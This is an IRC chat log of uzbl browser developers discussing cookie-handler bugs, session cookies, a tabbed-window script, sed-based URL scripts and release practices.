07:43 < scj> you download it from the url given on your page
07:43 < scj> hax away
07:43 < scj> push
07:43 < F> woohoo.
07:44 < dxdx> F:
07:44 < dxdx> Repositories (10)
07:44 < dxdx> oops, the copypasta started with a newline
07:45 < dxdx> F: well, there are 10 repos, but only the first two are shown in that page, apparently sorted by number of watchers
07:45 < F> ah. i see.
07:46 < F> i get to add myself to AUTHORS once i do something significant
07:46 < dxdx> you could, but Dieterbe_ usually does that when your branch gets merged
07:47 < F> ah.
07:50 < scj> I'd like a way to set the mimehandler. something like "set mime_handler MIMETYPE = spawn foo"
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07:54 < dxdx> scj: would be cool for downloads
07:55 < scj> yeah
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07:56 < scj> I'm probably gonna write a lwp download script that uses @<document.cookie>@ and @useragent to fetch stuff
07:57 < scj> and names it using the content-disposition header (if available)
08:00 < dxdx> my opinion on this is the same as cookies, we should reuse webkit features as much as possible, not try to replace them with ugly hacks
08:00 < F> i think so too.
08:00 < dxdx> there's a libsoup api to write custom cookie jars, there's a webkit api to handle downloads
08:03 < F> what is the difference between a URI and a URL?
08:03 < joyfulgirl> F: terminology
08:04 < scj> dxdx: uzbl is all about making it easy to allow ugly hacks
08:04 < joyfulgirl> F: They're the same thing. It's just a naming question: Universal Resource (Locater|Identifier)
08:04 < joyfulgirl> scj: allow != necessitate (-:
08:04 < dxdx> scj: i do not like the ugly part :P
08:06 < dxdx> well, there are nice apis like webkit_download_get_suggested_filename()
08:06 < scj> s/allow/facilitate/
08:07 < scj> all it does is look at the content-disposition filename in the header, I'm guessing
08:07 < scj> 2 lines of perl
08:08 < dxdx> ok, modified version of "dx's right way": as default we should use webkit features, but if a handler is set, override that
08:08 < dxdx> that doesn't mean that i don't care about having handlers like the current cookies one
08:10 < scj> it really depends on what you define as ugly, though
08:10 < scj> code wise or usability wise, where it's easy to just throw together a simple script to fix whatever
08:11 < dxdx> well, taking document.cookie seems unreliable, and there's still no solution for POST downloads
08:12 < dxdx> [but that is my definition of "ugly" and it IS subjective]
08:18 < F> damn. uzbl is bigger and more complicated than dwm by a long shot. :|
08:19 < scj> dxdx: have you made any progress regarding js execution contexts?
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08:28 < F> what is the difference between gint and int?
08:28 < F> nvm.
08:29 < F> wtf. why is gint and int both used within the same struct?
08:29 < F> when gint is defined as: Corresponds to the standard C int type.
08:29 < F> typedef int    gint;
08:38 < dxdx> scj: i think i'll just set "thisObject" to a temporal object with "Uzbl" as local, instead of setting window.Uzbl
08:40 < dxdx> either that or using a function instead of a "thisObject" (same effect, but will only return values with an explicit "return")
08:40 < F> dxdx: have you actually viewed the C code and played with it?
08:40 < dxdx> F: played quite a lot
08:40 < F> dxdx: what is the motivation of using gint and gchar randomly with int and char?
08:41 < F> especially since gint and gchar are just typedefs for int and char...
08:41 < dxdx> random, i think
08:41 < F> random?
08:42 < dxdx> i think those typedefs are for portability, if the platform sucks or has a weird way to define a "25 bit int which is sometimes signed", glib provides a standard typedef
08:43 < dxdx> doesn't make much sense for gints and gchars, but doesn't make any harm either
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08:51 < newssgg> how to keep the login state?
08:51 < dxdx> cookies?
08:53 < newssgg> I have set cookie_handler
08:54 < scj> cookies aren't 100% working
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09:19 < dxdx> the wonders of ssh and screen, now i won't miss messages while i'm sleeping
09:21 < dxdx> which is what i will do now
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09:58 < lazzareth_> Morning #uzbl
09:59 < lazzareth_> I've got an "almost" working fifo tab manager for uzbl :)
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10:06 < holizz> This sounds exciting.
10:11 < lazzareth_> I'm just having a little trouble with gtk timeouts. I dont want to use the depreciated "gtk.timeout_add(self.TIMEOUT, self.read_fifo)"
10:12 < lazzareth_> But I cant quite get "self.timer = gobject.timeout_add(100, self.read_fifo, self)" working correctly.
10:14 < lazzareth_> I've probably just found something even better: " def gobject.io_add_watch(fd, condition, callback, ...) " on http://www.pygtk.org/pygtk2reference/gobject-functions.html
10:16 < lazzareth_> Bah, Who would have thought: "The function is called repeatedly until it returns FALSE, at which point the timeout is automatically destroyed and the function will not be called again."
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10:45 < lazzareth> holizz, Worked much with pythons gobject or fifo sockets in python? I've got a problem with a test gobject.io_add_watch demo. http://gist.github.com/137221 after the first message is received my cpu jumps to 100% active (It can still receive more fifo messages and everything still works as normal afaik)
10:48 < holizz> lazzareth: Not much experience, but I can investigate.
10:50 < lazzareth> holizz, Thanks mate, its the only thing holding me back at the moment. Unless I move back to timers.
10:51 < lazzareth> And I had another problem with the timer method in that after each message came though I would have to close the fd and re-open it.
10:53 < holizz> If I can't fix it, I'm going to EuroPython on Tuesday ;)
10:54 < lazzareth> lol
10:56 < holizz> Interesting. I wonder why it uses up all the CPU.
10:57 < lazzareth> You too?
10:59 < Dieterbe_> good morning bitchiizzz
10:59 < lazzareth> Morning
10:59 < holizz> Yo.
10:59 < Dieterbe_> jrick: did you create the sh/dirname based go-up alternative? it's no simple and elegant. it looks nice
10:59 < Dieterbe_> jrick: s/no/so/
11:04 < scj> looks like it was joyfulgirl
11:04 < scj> and yeah, that is neat
11:07 < Dieterbe_> yeah but i think joyfullgirl is jrick on irc. not sure though
11:09 < holizz> People who use different aliases on different services are confusing.
11:09 < scj> joyfulgirl was in here a few hours ago
11:09 < Dieterbe_> ah
11:11 < scj> Dieterbe_: have you tried the new formfiller.sh?
11:12 < Dieterbe_> scj: no, not yet
11:22 < lazzareth> holizz, Fixed I hope. I think this really is the legit way of having fifo sessions http://gist.github.com/137221
11:22 < lazzareth> oh wait...
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11:47 < bob_f> Dieterbe_: joyfulgirl is just joyfulgirl, AFAIK.
11:48 < bob_f> At least, that's the only nick I've ever seen her use (she uses the same WM as me so she hangs out in its IRC channel a lot).
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12:06 < Dieterbe_> bob_f: alright
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12:46 < jaj> I was wondering whether you have a timeline for the first release?
12:48 < Dieterbe_> not really yet
12:48 < Dieterbe_> i wonder if it actually matters
12:48 < Dieterbe_> i guess i could just take current master and throw it out there as the first alpha release
12:48 < N30N> aint uzbl do it to unix way? release early, oelease often ;)
12:48 < Dieterbe_> yeah indeed
12:48 < Dieterbe_> have to go. see you later
12:48 < jaj> see you
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13:08 < Dieterbe_> actually yeah, we could do a first release right now basically, but i would like to have all features documented
13:09 < Dieterbe_> right now there are some things missing in the docs
13:09 < DuClare> Vars
13:09 < DuClare> status_top
13:10 < DuClare> N30N: Oh come on, the modern Way is not to "release" .. ;)
13:10 < DuClare> Releases are a marketing thing!
13:12 < Dieterbe_> not entirely
13:13 < Dieterbe_> they also make the lives of endusers/packagers a bit easier
13:13 < jaj> exactly :)
13:14 < bob_f> Dieterbe_: On the uzbl webpage it says some work is being done to find a way to avoid creating a new python instance every time cookies.py is called, etc. - how alive is this work ?
13:14 < jaj> hmm fastcgi :)
13:14 < Dieterbe_> holizz did an attempt towards it. friday i discussed some more with bartman , but for a while no one has worked on the code
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13:16 < DuClare> Dieterbe_: They shouldn't.  A git commit should contain everything there is, ready for packagin et all
13:16 < Dieterbe_> speaking of the devil..
13:16 < bob_f> Dieterbe_: Okay, I was going to write a daemon for cookies and history etc.
13:16 < bob_f> So just checking I won't be wasting my time.
13:17 < Dieterbe_> bob_f: nope you wouldn't be wasting time.  though i'm not sure a daemon for history is really needed, but i guess if you do it for cookies and it's only a small step to do it for history, go for it
13:17 < Dieterbe_> DuClare: a release also puts some emphasis on the stability/usability of a certain commit
13:18 < Dieterbe_> DuClare: basically, everytime i merge experimental into master right now, i already do a release. i just don't call it that way :)
13:18 < bob_f> Dieterbe_: Yeah, I figured I'd just make it a pluggable daemon so you can switch on/off cookies, history, and any other things that might be needed.
13:19 < Dieterbe_> bob_f: as long as the user can still write his own scripts to handle it all, sounds good
13:19 < bob_f> My only gripe being that then it wouldn't be too unix-y, in that it'll be doing a bunch of things.
13:19 < bob_f> Okay, cool, I'll try to get something together today and I'll keep you posted.
13:20 < Dieterbe_> allright
13:20 < Dieterbe_> also check with holizz what he has already done
13:22 < bob_f> holizz: Tell me things. :)
13:23 < Dieterbe_> or just check his work on github
13:24 < holizz> Pfft. I haven't done any cookies lately.
13:25 < Dieterbe_> who said anything about 'lately' ? :)
13:26 < DuClare> Dieterbe_: Well, my point was, a "release" shouldn't need to be anything more than a tag in some commit you consider good for use
13:27 < Dieterbe_> DuClare: sure, but making a bit of fuss about it is not going to hurt anyone :)
13:27 < holizz> There is the morecookies branch, which is an attempt at making a new SoupSessionFeature which handles cookies - although it shouldn't make any difference to the cookie_handler script.
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13:29 < DuClare> Dieterbe_: Release early, release often is/was relevant when developement took place offline or with access restrictions, and "releases" had to be explicitly packaged for distribution (cds, mirrors) :]
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13:31 < Dieterbe_> DuClare: will you disagree when i just keep doing what i do now, but everytime i do it, i call it a release? :)
13:31 < DuClare> Not really
13:32 < Dieterbe_> that's all i need to know :)
13:33 < bob_f> Eh, StumpWM, the WM I use has done releases, but everybody just runs it off the git repo.
13:33 < bob_f> And that's been going for a few years now.
13:34 < bob_f> For an application like this, I'm not sure many users will really care much about releases.
13:34 < Dieterbe_> i really don't wanna waste any more words on this
13:34 < Dieterbe_> it's to silly
13:35 < bob_f> Um, okay.
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13:37 < github> uzbl: Dieter Plaetinck experimental SHA1-2ae3bb4
13:37 < github> todo updates
13:37 < github> http://bit.ly/n3Hml
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14:00 < holizz> Does anybody interested in cookies want to look at my morecookies branch? I'm stuck as to where the problem might be - it finds cookies and inserts them into the header, but the cookies aren't sent to the site.
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14:12 < N30N> For those intrested: three new pages added to http://www.uzbl.org/wiki/scripts
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14:18 < scj> N30N: nice!
14:18 < N30N> :)
14:19 < N30N> how to I escape [[ on the wiki tho :o
14:19 < scj> I've been meaning to implement them but I'm procrastinating as usual
14:19 < scj> now I don't have to! \o/
14:19 < N30N> let me know if your after some others ;)
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14:22 < scj> besides f/F and [[/]], I can't really think of anything
14:23 < N30N> hey was leaving follows till last xD
14:23 < N30N> *yeah
14:24 < scj> N30N: have you tried linkfollow?
14:24 < scj> it works pretty much as vimperator
14:24 < N30N> not looked at it yet, but will do
14:24 < scj> I guess I should make a page about in on the wiki at some point
14:25 < N30N> well the string version is rather borked at the mo
14:27 < N30N> ffs cant escape [[/]] in wiki syntax (spaces will have to do) :/
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15:46 < Dieterbe_> @peak
15:46 < Dieterbe_> hmmm.. who hosted the bot? :{
15:46 < DuClare> What was the bot called?
15:48 < Dieterbe_> 'devnull' i think
15:51 < DuClare> Dieterbe_: Can you invite dev_null?
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15:53 -!- You're now known as Dieterbe
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15:55 <@Dieterbe> invited..
15:55 <@Dieterbe> but no response
15:55 -!- mode/#uzbl [-o Dieterbe] by ChanServ
15:57 < Dieterbe> doesn't seem to have an invite/join command either :(
15:58 < scj> :q
15:58 -!- mode/#uzbl [+o Dieterbe] by ChanServ
15:58 -!- Dieterbe changed the topic of #uzbl to:  Uzbl is a browser that adheres to the unix philosophy. --> uzbl.org <--  ALWAYS check diffs when merging AND when pulling in new stuff - Whoever owns dev_null. Please bring it back kthxbye
15:59 -!- Dieterbe changed the topic of #uzbl to:  Uzbl is a browser that adheres to the unix philosophy. --> uzbl.org <--  ALWAYS check diffs when merging AND when pulling in new stuff - Whoever owns dev_null please bring it back kthxbye
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16:00 < lazzareth> Was dev_null our chan-bot?
16:01 < Dieterbe> i don't know how you define chan-bot, but it held some usefull stats :)
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17:11 < holizz> I have discovered something regarding cookies.
17:11 < holizz> Visit this: http://holizz.ath.cx/cgi-bin/set-cookie.cgi ... then refresh to see the cookies your browser sends back to the server. Compare uzbl's behaviour with that of other browsers.
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17:14 < bct> i get the same results in uzbl and firefox
17:14 < bct> foo=bar; a=b
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17:15 < holizz> Oh wait.
17:15 < holizz> Nevermind.
17:15 < bct> your Content-Type is busted, btw
17:16 < bct> it should be text/plain;charset, you have text/plain,charset
17:19 < holizz> Good point, thanks.
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17:28 < holizz> BUT http://holizz.ath.cx/cgi-bin/set-session-cookie.cgi
17:28 < holizz> Session cookies aren't working, it seems.
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17:29 < scj> foob=bar;?
17:30 < holizz> I just appended a "b" to the names of the session cookies.
17:30 < scj> well, they showed up
17:30 < holizz> I get "foo=bar; a=b; foob=bar; ab=b" in Firefox, but "a=b; foo=bar" in Dieterbe/experimental.
17:31 < holizz> Really now? What are you using for your cookie_handler?
17:31 < scj> nope
17:32 < scj> I don't use one
17:33 < holizz> Aha. Session cookies only work when you're not using a cookie_handler.
17:38 < bct> holizz, it must be a cookies.py thing.
17:38 < bct> maybe related to the problem with facebook?
17:38 < bct> because it's working with my cookie handler.
17:40 < bct> i don't treat session cookies specially, maybe that's why.
17:40 < holizz> Really? It isn't calling cookie_handler when it gets session cookies.
17:41 < bct> foob and ab ended up in my cookies.txt somehow.
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17:42 < bct> are they really being set as session cookies though?
17:42 < bct> ngrep says you sent "Set-Cookie: ab=b"
17:42 < holizz> Actually, that was a lie. I'd commented out cookie_handler in my config.
17:42 < bct> nothing about expiry there.
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17:43 < bct> strange thing, though...
17:43 < holizz> Yeah, that makes it a session cookie.
17:43 < holizz> You're right, it is cookies.py.
17:43 < bct> ngrep also says that when i hit 'r' to refresh uzbl sends two requests for the same url.
17:44 < holizz> jar.save(ignore_discard=True) # save session cookies too ... so it should be working.
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17:47 < lazzareth> I need a way to get the window title piped to a file/socket via a uzbl socket I've been trying 'sh "echo @<document.title>@ > %s"' but all I get is ": document.title: No such file or directory" because the js substitution doesn't work in strings.
17:48 < jrick> Dieterbe: no, I didn't make it, and I'm not joyfulgirl
17:48 < Dieterbe> jrick: yeah we figured that out by now :P
17:48 < jrick> ah, ok :)
17:48 < DuClare> How about sh "echo $@ > debugfile" @<document.title>@
17:50 < holizz> bct: That seems to be an issue with my server, not uzbl. No idea what it needs the extra request for.
17:51 < lazzareth> DuClare, "Unknown command: /home/mason/.config/uzbl/config 29682 0 /tmp/uzbl_fifo_46137347_01 /tmp/uzbl_socket_46137347_01 http://www.google.com.au/ Google @<document.title>@"
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17:53 < DuClare> lazzareth: Sounds like you'll need to use a socket & print
17:54 < lazzareth> print can print to sockets
17:54 < lazzareth> '?
17:54 < Dieterbe> yes
17:54 < lazzareth> Alright, im going to give it a try.
17:57 < scj> lazzareth: 'sh "echo @(print @<document.title>@)@" > "$4"'?
17:58 < lazzareth> : -c: line 0: syntax error near unexpected token `('  : -c: line 0: `echo @(print @<document.title>@)@'
17:59 < scj>  'sh "echo '@(print @<document.title>@)@'" > "$4"'?
18:00 < lazzareth> "@(print @<document.title>@)@" :P
18:00 < bct> holizz, it's happening on my server too
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18:01 < lazzareth> How can I print to a socket then? I tried "print @<document.title>@ > /myfifo"
18:01 < bct> but not on other sites.
18:01 < bct> and only on some pages D:
18:01 < holizz> That's very odd.
18:01 < holizz> What server are you running? Mine's lighttpd.
18:02 < bct> same.
18:02 < holizz> And the sites you tested were... Apache?
18:03 < bct> it does the same thing on lighttpd.net too.
18:03 < bct> not sure, i just tested some random site.
18:04 < lazzareth> Anybody know how I can grab that @<document.title>@ ?
18:04 < holizz> This could be an exciting bug.
18:04 < lazzareth> (without binding it to a key :P)
18:04 < scj> lazzareth: uzblctrl -s $socket -c 'print @<document.title>@'
18:05 < bct> indeed.
18:07 < bct> httpd.apache.org and nginx.net do not exhibit the same problem.
18:07 < bct> doesn't prove anything, but it's weird.
18:08 < lazzareth> scj, When I run uzblctrl I get an error "connect: No such file or directory"
18:08 < lazzareth> Mmm, nevermind, apparently I need net-misc/connect installed
18:09 < scj> what are you trying to do, btw? writing the document title to the fifo wouldn't achieve much
18:09 < lazzareth> scj, Getting the tab titles for windows.
18:10 < scj> then it's the socket you want
18:10 < lazzareth> ?
18:10 < Dieterbe> 18:08:01 < lazzareth> scj, When I run uzblctrl I get an error "connect: No such file or directory"
18:10 < Dieterbe> 18:08:32 < lazzareth> Mmm, nevermind, apparently I need net-misc/connect installed
18:10 < Dieterbe> are you saying we forgot a dependency?
18:11 < lazzareth> Actually. You might not have. I installed connect to no avail.
18:12 < lazzareth> Silly me. I forgot to supply the full path to the socket argument.
18:13 < lazzareth> This is getting so ugly.
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18:40 < holizz> I like the way Python's stdlib is full of rubbish that doesn't work, and is half-documented.
18:46 < holizz> I'm now using your cookies.rb, bct.
18:51 < scj> i like how ruby is so slow that I can mentally do the calculations and keep up with the interpreter
18:51 < scj> :v
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18:54 < holizz> Ruby is awesome. Twitter uses Ruby and that never goes down...
18:54 < jrick> holizz: twitter switched from ruby to scala
18:55 < holizz> Oh really? I'm ashamed to have forgotten that fact.
18:56 < mxey> Facts only hinder flaming, right?
18:57 < holizz> Indeed. It doesn't need to be true, just written in a negative tone.
18:58 < Dieterbe> everyone knows anything other then C is crap
18:58 < DuClare> C is crap
18:59 < DuClare> :]
18:59 < jrick> COBAL ftw
18:59 < mxey> Cocaine ftw.
18:59 < holizz> It all went downhill after the introduction of programmable computers.
19:00 < holizz> In fact, I'm not fond of electricity to be honest.
19:01 < mxey> emo.
19:05 < scj> electricity is the best thing since sliced bread
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19:08 < bct> holizz, cool. i'm planning to add a blacklist and a killswitch for third-party cookies soon.
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19:09 < bct> though we'll see what bob_f comes up with for a persistent handler
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19:10 < bct> (i did some quick timing last night, uzbl spends about 50ms setting up and waiting for the cookie handler, only about 15ms were actually in the handler script)
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19:15 < scj> is that 50ms for every cookie request?
19:15 < bct> yup.
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19:17 < bct> which is pretty crazy. i didn't think spawning a process and starting the interpreter was *that* expensive
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19:26 < dxdx> we need g_spawn_async_with_pipes()
19:27 < DuClare> What for?
19:27 < bct> persistent handler processes.
19:28 < DuClare> Ah
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19:42 < holizz> Oh yes. I think I just fixed cookies.py.
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19:44 < dxdx> holizz: how?
19:45 < holizz> http://github.com/holizz/uzbl/commit/296634ed60727ce58dcde101a32909c6028589dd
19:45 < holizz> Made the clear_expired_cookies method do nothing.
19:46 < holizz> It was getting called at the end of add_cookie_header without any way to turn it off.
19:47 < holizz> I suppose I could have it clear expired cookies except session cookies instead. Maybe that would make more sense...
19:50 < dxdx> hm, it sounds to me that it considered that the session ended with the interpreter
19:52 < holizz> That would make sense as the library probably wasn't expected to be created and destroyed several times during the session.
19:53 < holizz> But clear_expired_cookies shouldn't be deleting session cookies as far as I can tell by reading it.
19:54 < dxdx> that's probably a bug
19:55 < dxdx> holizz: btw, what's up with that cookies soupfeature i heard you wrote?
19:56 < holizz> Yeah, I'll see if anybody's filed a report.
19:57 < holizz> Ah yes, that's coming along somewhat. See my morecookies branch. Although it seems that somewhere between my SoupSessionFeature setting the Cookie header and the Web site recieving the request, the cookies get lost.
19:58 < dxdx> #include "cookie-handler.c"   <---- wat
20:00 < holizz> I copied over libsoup/soup-cookie-jar.c and .h. It didn't make sense to stick all that junk into uzbl.c.
20:00 < dxdx> yeah, but my wat is at #including a .c file
20:01 < holizz> Oh right... good point.
20:01 < dxdx> is that legal? (why doesn't everyone do that?)
20:02 < holizz> Yeah, it works fine.
20:02 < holizz> (Because the convention is to do otherwise).
20:03 < holizz> Ugh. Changing it to .h would mean we'd have to compile cookie-handler.c into cookie-handler.o, and then link that in. I'll do that later.
20:04 < bct> dxdx, i think it's a matter of limiting exposure
20:05 < bct> if you pull in the whole c file you have no idea what functions and variables it might have been defined that overlap with yours
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20:06 < holizz> In this channel: C noobs ;)
20:06 < dxdx> :D
20:07 < holizz> I'm awful at C. I just copy what people have done elsewhere in the file and change the variable names. And I have no confidence in what I do - I usually have to compile and test several times before anything works.
20:08 < locks> lol
20:08 < locks> cargo culting ftw man
20:08 < locks> keep the tradition strong
20:08 < dxdx> holizz: well, it's not that bad to start
20:08 < dxdx> locks: wat
20:08 < locks> copy paste cargo culting
20:09 < dxdx> oh, that, and alp toker is the best
20:12 < dxdx> "A #CookieHandler stores #SoupCookie<!-- -->s and arrange for [...]"
20:13 < holizz> dxdx: Just pushed to morecookies - PUTting cookies works, but GETting still doesn't.
20:13 < holizz> lol. I hate HTML documentation in source code.
20:14 < holizz> It might be nice to show people reading API docs, but it's not nice to read in the source.
20:40 < holizz> -        jar.load()
20:40 < holizz> +        jar.load(ignore_discard=True)
20:40 < holizz> Doh.
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21:18 < holizz> Do we have any adblockers for uzbl yet?
21:18 < scj> someone said that polipo works
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21:20 < holizz> Cool. Is there any way to set options depending on the domain we're on? Like if domain=evil.com {disable_scripts = 1}
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21:29 < scj> holizz: start_handler
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21:30 < scj> load_start_handler
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21:31 < holizz> scj: Thanks. I can't believe I still know so little about uzbl.
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21:55 < lazzareth> I've released my uzbl_tabbed.py re-write and pushed it into my fork: http://github.com/mason-larobina/uzbl/blob/74e67a7aae087c0ab8429c0b0e9bacea8378c335/examples/data/uzbl/scripts/uzbl_tabbed.py
21:55 < lazzareth> Give it a try and let me know if you have any problems
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22:07 < lazzareth> holizz, ^
22:08 < holizz> Am doing. I'm just being slow.
22:09 < lazzareth> :)
22:09 < lazzareth> Well its 4am over here and I need some sleep
22:10 < lazzareth> Leave me some messages and or feel free to build on what I've put out there.
22:10 < lazzareth> Night guys
22:11 < Dieterbe> good night lazzareth 
22:11 < lazzareth> ( The uzbl_tabbing.py is by no means a finished product, theres still quite a few issues with the script (theres an issues section detailing all know issues))
22:11 < lazzareth> Dieterbe, will do.
22:11 < lazzareth> Dieterbe, Hopefully this one works a bit better for you
22:12 < holizz> lazzareth: I like the way you put new bindings into the uzbl instances.
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22:13 < github> uzbl: Dieter Plaetinck experimental SHA1-4398245
22:13 < github> bring contributing info back up to date
22:13 < github> http://bit.ly/Zxy4p
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22:13 < lazzareth> ^^ I thought you would. That way you can change the keys using sets in the uzbl config file and then the uzbl_tabbing.py takes care of the rest by defining them for you.
22:15 < lazzareth> I'm really off this time.
22:15 < Dieterbe> i'm also off
22:15 < Dieterbe> see you guys
22:15 < holizz> Okay, night folks.
22:15 < lazzareth> See you guys in 7 hours :P
22:17 < Dieterbe> holizz: could you let me know quite elaborately what exactly the policy handler is for, why we need it etc.  opening links is a very broad concept (by keybinds/shortcuts, with the mouse by clicking different buttons, with the mouse by right clicking and selecting from the popup menu, pages can set the target attribute etc) so if you could describe to me what's wrong with our current approach, how we should handle all those different case and what excatly the policy_handler does, that could be really useful
22:18 < Dieterbe> holizz: maybe you could send me a mail or so. thanks :)
22:18 < holizz> Sure, no problem.
22:19 < holizz> I'm not sure it's the right approach, really. But I'll explain what it does and what it might do in future.
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01:37 < cprussin> hello all... how stable is uzbl currently
01:37 < cprussin> ?
01:38 < cprussin> I was recently told about it from a friend... after looking at the website, I think I decided I like it more than <insert obsession here>
01:44 < harlos> I've built from git HEAD(master) last week and haven't had any issues. Good news is when bad things do happen it'll only take out that on instance.. not all windows/tabs since they're different processes.
01:45 < cprussin> oh?
01:45 < cprussin> didn't know that
01:45  * cprussin loves it even more
01:46 < cprussin> what kind of issues are to be expected?
01:46 < cprussin> I'm designing a website for a club, so I need something stable *enough*
01:47 < holizz> It's relatively stable.
01:47 < cprussin> ...shit
01:48 < cprussin> billy mays
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01:48 < harlos> I imagine any issues you'll have are in the helper scripts/handlers.
01:48 < holizz> Some sites report that cookies are disabled when they're working fine, but other than that it's pretty fine.
01:49 < shatter> i had it somehow using 140% CPU. but i think i was the only one.
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01:49 < holizz> I'd advise using Dieterbe/experimental, if you want all the newest features. But he updates master pretty frequently.
01:50 < cprussin> I was just going to compile from get
01:50 < cprussin> git*
01:51 < cprussin> << switched to slackware today, fucked up the install
01:51 < cprussin> was going to reinstall tomorrow but I wanted to not put on firefox if this was close enough
01:51 < cprussin> suggestions?
01:53 < holizz> I'm afraid I have very little experience with Slack. But yes, uzbl will compile faster than Firefox.
01:53 < cprussin> wonderful
01:53 < cprussin> then I'll stick with it until when/if I have problems
01:53 < cprussin> thanks for the suggestions, now it's bedtime for this feller
01:53 < holizz> I used to use Gentoo. Firefox took so long to compile.
01:54 < holizz> Yep, me too.
01:54 < holizz> Good night.
01:54 < harlos> You'll need to install webkit.. which is a beast.. if you're building webkit from source it will take awhile.
01:54 < cprussin> haha, I was actually considering gentoo instead of slack
01:54 < holizz> Arch = teh win.
01:54 < cprussin> switching from arch due to some GPL issues and getting sick of pacman's repos sucking
01:54 < harlos> I enjoyed Gentoo. Haven't tried Arch.
01:55 < holizz> I had noticed... I'm currently holding back about four packages because they're very broken. I don't think I can pin them like with APT.
01:55 < cprussin> arch is wonderful, but I'm a gpl purist... plus, pacman's repo lacks lots of important packages
01:55 < cprussin> holizz: have you noticed a lack of important packages too?
01:55 < cprussin> that was my biggest issue
01:55 < holizz> The mixing of free and non-free is quite annoying.
01:55 < cprussin> I couldn't find basic utilites
01:56 < holizz> I find lots of things are in AUR, but not in community or extra.
01:56 < holizz> Which utilities?
01:56 < cprussin> I don't trust the AUR that much
01:56 < cprussin> just like image viewers and the likes
01:57 < cprussin> kind of small stuff that there's replacements for, but they perform important tasks and are annoying to find a way around
01:57 < cprussin> anyways, I have work in 5 hours, so bedtime is serious this time
01:57 < cprussin> thanks all!
01:57 < holizz> The one thing I really wish Arch would do is introduce signed packages. Debian made me feel safe (despite the SSH thing ;).
01:57 < holizz> Okay, good night!
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03:41 < jrick> hmm, I have a problem. I just added the "go-up to top level" script (shell version) to the wiki, but now that I test it some more, it doesn't seem to work as expected (it just reloads the current page).  I tested it on the shell, and it seemed to be working fine.
03:42 < jrick> % echo "set uri = $(echo "http://www.uzbl.org/faq.php" | sed "s|\(.*//.*/\).*|\1|")"
03:42 < jrick> set uri = http://www.uzbl.org/
03:45 < jrick> http://www.uzbl.org/wiki/go-up
03:45 < jrick> there's the page on the wiki
03:47 < jrick> oh, it's because of the quotes
03:47 < jrick> ok, I think I know the fix now
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04:38 < jrick> ok, it should be fixed now
04:38 < jrick> err
04:38 < jrick> one sec :)
04:39 < jrick> there
04:43 < cdwillis> ?
04:43 < jrick> joyfulgirl: I liked your shell version of the go-up script so much that I made one to go to the top level
04:43 < jrick> usind sed
04:44 < joyfulgirl> jrick: Sweet!
04:44 < joyfulgirl> jrick: coreutils are pretty rad
04:44 < jrick> joyfulgirl: test it to see if it works for you or not
04:44 < jrick> I've been having some trouble getting it to work right
04:45 < joyfulgirl> It should, but will do (in a few minutes)
04:45 < jrick> it's working great on the command line for me
04:46 < jrick> hmm, it's still only loading the current url in uzbl
04:47 < jrick> this is my first real adventure into sed though, so I may be doing things a bit... strange
04:49 < jrick> % zsh -c 'echo "set uri = $(echo "http://www.uzbl.org/faq.php" | sed "s|\(.*//[a-zA-Z.]*/\).*|\1|")"'
04:49 < jrick> set uri = http://www.uzbl.org/
04:49 < jrick> joyfulgirl: ^^
04:52 < joyfulgirl> jrick: What problems are you running into?
04:52 < jrick> joyfulgirl: it seems to be only reloading the current page
04:52 < jrick> like it's being cut off at the quotes
04:53 < jrick> I'm not sure what exactly is wrong
04:53 < joyfulgirl> jrick: You need to escape the innermost quotes, I think
04:55 < jrick> nope
04:55 < jrick> i'm testing it by not piping it to $4 so it prints to the terminal
04:56 < jrick> it could be just not matching at all so sed doesn't replace anything
04:57 < jrick> but that's strange, because the same regex matched it on the shell
04:59 < jrick> yeah, replacing it with an empty string still returns the current url, so it's not matching
05:03 < joyfulgirl> jrick: I'll be honest, I don't feel much like fiddling with sed ATM. The js toplevel script above is pretty simple, anyway (-:
05:04 < jrick> yeah
05:04 < jrick> I think I know what's wrong now though
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05:04 < jrick> it's the ()'s
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05:08 < joyfulgirl> jrick: Also, URLs can have numbers in them, as well.
05:08 < jrick> ah, right
05:08 < jrick> ok, I'll fix that as well
05:08 < jrick> I just needed something without the / included
05:08 < jrick> so .* wouldn't work
05:16 < joyfulgirl> jrick: How about [^/]*
05:17 < jrick> well, I'm a sed newbie, so I'll try it :)
05:18 < joyfulgirl> jrick: It'll be easier to use a quick external script. When you start getting into deep quote levels, escaping gets crazy
05:18 < jrick> yeah, I'm slowely figuring that out...
05:21 < jrick> HAHA
05:22 < jrick> I WIN
05:22 < jrick> got it to work now
05:22 < jrick> but it's ugly as crap
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05:37 < jrick> http://www.uzbl.org/wiki/go-up
05:37 < jrick> ok, the fixed version is up now
05:37 < jrick> and this time I know that it actually does work :)
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06:40 < lazzareth> Morning guys
06:52 < lazzareth> I'm new to working with git
06:53 < lazzareth> How can I revert my last two commits?
06:53 < lazzareth> (I need to move them into another branch not my main experimental branch)
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09:17 < Dieterbe> lazzareth: afaik : git reset --hard HEAD^^ or something like that
09:17 < Dieterbe> lazzareth: check man git-reset
09:21 < lazzareth> Well, I can but I've made about 5 commits since then.
09:22 < lazzareth> I was going to put my uzbl_tabbed.py in a new branch but its too late now :
09:22 < lazzareth> ':P
09:23 < lazzareth> I've got a screenshot of my latest version: http://www.uzbl.org/wiki/_media/uzbl_tabbed.png
09:23 < lazzareth> Do you like it?
09:24 < lazzareth> (I'm updating the wiki page right now)
09:25 < Dieterbe> it's very sexeh
09:26 < Dieterbe> next blogpost on uzbl.org will feature a screenshot of uzbl_tabbed :)
09:26 < lazzareth> I've also solved some issues with the tablist updating slowly
09:27 < lazzareth> :D
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09:35 < scj> jrick: what about sh "echo $6 | sed -e 's|/| |g' | cut -d ' ' -f 3"
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09:38 < lazzareth> Presenting: http://www.uzbl.org/wiki/uzbl_tabbed
09:39 < cdwillis> awesome lazzareth
09:40 < cdwillis> i was just looking at the old version yesterday
09:41 < lazzareth> I hope someone enjoys it (I barely slept since Saturday :P trying to get it working)
09:42 < Dieterbe> Copywrite <-- ? heh?
09:42 < Dieterbe> should be copyright i think
09:43 < lazzareth> I think you could be wright :P
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09:52 < lazzareth> Dieterbe, We are in dire need of some sane way to fetch window titles & current document.locations from uzbl instances though. Did you see how I am currently doing it?
09:53 < Dieterbe> no i didn.t
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09:53 < Dieterbe> we should just expose the title as variable, and the current location should already work. try uzblctrl -c 'print @uri'
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09:54 < lazzareth> I'll give 'print @uri' a check.
10:00 < cdwillis> how exactly do i enable the tabbed interface?
10:01 < lazzareth> Ideally this is the command I should send: sh "echo 'uri 1 @uri' > /tmp/uzbltabbed_6348" but "@uri" isnt replaced with the @uri
10:01 < cdwillis> i didn't see how to set it on the wiki
